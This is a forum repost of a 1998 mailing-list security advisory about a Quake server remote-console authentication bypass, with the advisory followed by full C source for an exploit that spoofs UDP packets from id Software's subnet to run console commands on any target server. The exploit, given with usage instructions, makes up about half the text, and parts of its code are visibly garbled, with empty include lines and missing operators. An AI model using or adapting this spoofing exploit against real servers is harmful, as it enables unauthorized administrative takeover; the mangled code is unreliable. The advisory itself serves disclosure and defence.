me he encontrado esto por ahi, simplemente komentarlo, es gracioso...
Date: Fri, 1 May 1998 04:12:33 -0600 (MDT)
From: mea culpa
To: InfoSec News
Subject: [ISN] RSI.0001.05-01-98.ALL.QUAKE_SERVER
Forwarded From: RSI Advise
RSI.0001.05-01-98.ALL.QUAKE_SERVER
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Repent Security Incorporated, RSI
[ repsec.com ]
*** RSI ALERT ADVISORY ***
--- [CREDIT] --------------------------------------------------------------
Vulnerability found by: Mark Zielinski
Advisory Author: Mark Zielinski
--- [SUMMARY] -------------------------------------------------------------
Announced: May 1st, 1998
Report code: RSI.0001.05-01-98.ALL.QUAKE_SERVER
Report title: Vulnerability in the Quake server
Vulnerability: RCON (Remote Console)
Patch status: None currently available
Platforms: Quake 1/2, QuakeWorld, Linux/Solaris Quake2
Reference: repsec.com/advisories.html
Impact: If exploited, an attacker could remotely compromise
administrator access on any Quake server.
--- [DETAILS] -------------------------------------------------------------
Problem: The Quake server has a feature where it allows
administrators to remotely send commands to the Quake
console with a password. However, it is possible to
remotely bypass authentication.
In order for this to be exploited, the attacker would
have to create a handcrafted udp packet with a header
containing the rcon command and the password "tms" with
a source IP coming from ID Software's Subnet. (192.246.40)
The Quake server does not require an open connection for
sending the rcon packet. When this is exploited, no logs
are reported of the rcon command being used.
This vulnerability is present in Quake 1, QuakeWorld,
Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions.
--- [FIX] -----------------------------------------------------------------
Solution: Filter all incoming packets from the subnet 192.246.40.
--- [PATCH] ---------------------------------------------------------------
Solution: No patches are currently available.
---------------------------------------------------------------------------
Repent Security Incorporated (RSI)
advise@repsec.com
13610 N. Scottsdale Rd.
Suite #10-326
Scottsdale, AZ 85254
[ repsec.com ]
---------------------------------------------------------------------------
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Copyright April 1998 RepSec, Inc.
The information in this document is provided as a service to customers
of RepSec, Inc. Neither RepSec, Inc., nor any of it's employees, makes
any warranty, express or implied, or assumes any legal liability or
responsibility for the accuracy, completeness, or usefulness of any
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represents that its use would not infringe any privately owned rights.
Reference herein to any specific commercial products, process, or
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necessarily constitute or imply its endorsement, recommendation or
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herein do not necessarily state or reflect those of RepSec, Inc., and may
not be used for advertising or product endorsement purposes.
The material in this alert advisory may be reproduced and distributed,
without permission, in whole or in part, by other security incident
response teams (both commercial and non-commercial), provided the above
copyright is kept intact and due credit is given to RepSec, Inc.
This alert advisory may be reproduced and distributed, without
permission, in its entirety only, by any person provided such
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---------------------------------------------------------------------------
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/* rcon.c
Quake world rcon_password bug implimentation by Jeff Roberson, (VallaH)
Linux 2.0.33 source, will compile on BSD if you modify the ip header etc.
Please note that I did not discover this, I simply wrote the code.
Thanks to Nick Toomey, (Grifter)
Brief summary:
Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server. This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify.
Usage:
./rcon ip/host "what you want to do" [port]
Example:
./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500
the port argument is optional, you may omit it if you like and it will default to 27500.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SIP "192.246.40.42" /* vader.idsoftware.com */
#define command "ÿÿÿÿrcon tms "
u_long resolve_address(u_char *host)
{
struct in_addr addr;
struct hostent *he;
if((addr.s_addr = inet_addr(host)) == -1) {
if (!(he = gethostbyname(host))) {
printf("Unknown address: %s\n", host);
exit(-1);
}
bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
}
return(addr.s_addr);
}
int main(int argc, char **argv)
{
int s;
int port=27500;
char buf[512];
struct sockaddr_in dst;
struct iphdr *iph=(struct iphdr *)buf;
struct udphdr *udp=(struct udphdr *)(buf + 20);
if (argcprintf("usage:\n");
printf("\t%s ip ""command"" \n", argv[0]);
exit(-1);
}
if (argc==4) port = atoi(argv[3]);
bzero(buf, sizeof(buf));
bzero((char *)&dst, sizeof(dst));
iph->version=4;
iph->ihl=5;
iph->tos=0;
iph->tot_len=htons(sizeof(buf));
iph->id=htons(1234);
iph->frag_off=0;
iph->ttl=255;
iph->protocol=17;
iph->saddr=inet_addr(SIP);
iph->daddr=resolve_address(argv[1]);
udp->source=htons(1234);
udp->dest=htons(port);
udp->len=htons(sizeof(buf) - 20);
dst.sin_family=PF_INET;
dst.sin_addr.s_addr=iph->daddr;
dst.sin_port=htons(27500);
sprintf((buf + 28), "%s%s\n", command, argv[2]);
if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) perror("socket");
exit(-1);
}
if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) perror("sendto");
exit(-1);
}
exit(1);
}
